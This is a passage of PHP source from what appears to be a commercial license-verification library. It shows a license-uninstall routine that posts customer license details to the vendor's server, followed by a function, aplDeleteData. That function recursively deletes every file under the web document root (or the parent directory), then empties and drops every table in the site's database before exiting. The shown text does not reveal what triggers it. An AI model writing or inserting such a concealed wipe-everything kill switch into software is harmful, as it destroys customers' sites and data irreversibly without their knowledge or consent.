		if (aplCheckData($MYSQLI_LINK)) {
			extract(aplGetLicenseData($MYSQLI_LINK));
			$post_info = 'product_id=' . 
rawurlencode(APL_PRODUCT_ID) . '&client_email=' . 
rawurlencode($CLIENT_EMAIL) . '&license_code=' . 
rawurlencode($LICENSE_CODE) . '&root_url=' . rawurlencode($ROOT_URL) . 
'&installation_hash=' . rawurlencode($INSTALLATION_HASH) . 
'&license_signature=' . 
rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE));
			$content_array = aplCustomPost(APL_ROOT_URL . 
'/apl_callbacks/license_uninstall.php', $post_info, $ROOT_URL);
			$notifications_array = 
aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, 
$LICENSE_CODE);
			if ($notifications_array['notification_case'] == 
'notification_license_ok') {
				if (APL_STORAGE == 'DATABASE') {
					mysqli_query($MYSQLI_LINK, 
'DELETE FROM ' . APL_DATABASE_TABLE);
					mysqli_query($MYSQLI_LINK, 'DROP 
TABLE ' . APL_DATABASE_TABLE);
				}
				if (APL_STORAGE == 'FILE') {
					$handle = @fopen(APL_DIRECTORY . 
'/' . APL_LICENSE_FILE_LOCATION, 'w+');
					@fclose($handle);
				}
			}
		}
		else {
			$notifications_array['notification_case'] = 
'notification_license_corrupted';
			$notifications_array['notification_text'] = 
APL_NOTIFICATION_LICENSE_CORRUPTED;
		}
	}
	else {
		$notifications_array['notification_case'] = 
'notification_script_corrupted';
		$notifications_array['notification_text'] = implode('; 
', $apl_core_notifications);
	}
	return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = NULL) {
	if ((APL_GOD_MODE == 'YES') && isset($_SERVER['DOCUMENT_ROOT'])) 
{
		$root_directory = $_SERVER['DOCUMENT_ROOT'];
	}
	else {
		$root_directory = dirname(__DIR__);
	}
	foreach (new RecursiveIteratorIterator(new 
RecursiveDirectoryIterator($root_directory, 
FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) 
as $path) {
		$path->isDir() && !$path->isLink() ? 
rmdir($path->getPathname()) : unlink($path->getPathname());
	}
	rmdir($root_directory);
	if (APL_STORAGE == 'DATABASE') {
		$database_tables_array = [];
		$table_list_results = mysqli_query($MYSQLI_LINK, 'SHOW 
TABLES');
		while ($table_list_row = 
mysqli_fetch_row($table_list_results)) {
			$database_tables_array[] = $table_list_row[0];
		}
		if (!empty($database_tables_array)) {
			foreach ($database_tables_array as $table_name) 
{
				mysqli_query($MYSQLI_LINK, 'DELETE FROM 
' . $table_name);
			}
			foreach ($database_tables_array as $table_name) 
{
				mysqli_query($MYSQLI_LINK, 'DROP TABLE ' 
. $table_name);
			}
		}
	}
	exit();
}
?>